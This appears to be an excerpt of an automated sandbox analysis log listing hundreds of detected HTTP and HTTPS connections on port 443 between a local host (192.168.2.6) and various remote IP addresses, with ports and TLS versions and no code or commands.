Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 60368 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60437
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60436
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60435
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60434
Source: unknown	Network traffic detected: HTTP traffic on port 60496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 60448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60444
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60442
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60441
Source: unknown	Network traffic detected: HTTP traffic on port 60403 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60440
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 60459 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60449
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60447
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60446
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60445
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 60527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 60462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 60607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 60415 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 60379 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60506
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60505
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60503
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60501
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60500
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 60416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60378 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60449 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 60526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60409
Source: unknown	Network traffic detected: HTTP traffic on port 60461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60400
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60521
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60520
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60408
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60529
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60407
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60406
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60405
Source: unknown	Network traffic detected: HTTP traffic on port 60472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 60367 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60403
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60401
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60381
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60380
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60378
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60499
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60377
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60376
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60375
Source: unknown	Network traffic detected: HTTP traffic on port 60395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60374
Source: unknown	Network traffic detected: HTTP traffic on port 60452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60495
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60373
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60372
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60493
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60492
Source: unknown	Network traffic detected: HTTP traffic on port 60475 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60379
Source: unknown	Network traffic detected: HTTP traffic on port 60503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60392
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60391
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60390
Source: unknown	Network traffic detected: HTTP traffic on port 60463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60389
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60387
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60386
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60385
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60384
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60383
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60382
Source: unknown	Network traffic detected: HTTP traffic on port 60405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60361 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60371 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60487 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60399
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60398
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60397
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60396
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60395
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60394
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60393
Source: unknown	Network traffic detected: HTTP traffic on port 60406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 60360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60383 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 60440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60455
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60453
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60452
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60451
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60450
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60459
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60457
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60456
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60358 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60393 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60466
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60465
Source: unknown	Network traffic detected: HTTP traffic on port 60453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60463
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60461
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60460
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60349
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60469
Source: unknown	Network traffic detected: HTTP traffic on port 60382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60468
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60467
Source: unknown	Network traffic detected: HTTP traffic on port 60359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60480
Source: unknown	Network traffic detected: HTTP traffic on port 60464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60356
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60477
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60355
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60475
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60353
Source: unknown	Network traffic detected: HTTP traffic on port 60429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60474
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60473
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60351
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60472
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60471
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60470
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60359
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60358
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60479
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60357
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60478
Source: unknown	Network traffic detected: HTTP traffic on port 60605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60370
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60491
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60490
Source: unknown	Network traffic detected: HTTP traffic on port 60370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60367
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60488
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60487
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60365
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60485
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60483
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60361
Source: unknown	Network traffic detected: HTTP traffic on port 60407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60360
Source: unknown	Network traffic detected: HTTP traffic on port 60430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60481
Source: unknown	Network traffic detected: HTTP traffic on port 60497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60369
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60489
Source: unknown	Network traffic detected: HTTP traffic on port 60443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60397 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60363 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60467 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60385 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60499 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60521 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60351 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60477 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60373 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60455 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60400 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:60352 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.69.42.241:443 -> 192.168.2.6:60351 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:60362 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:60374 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:60384 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:60419 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60430 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:60527 version: TLS 1.2
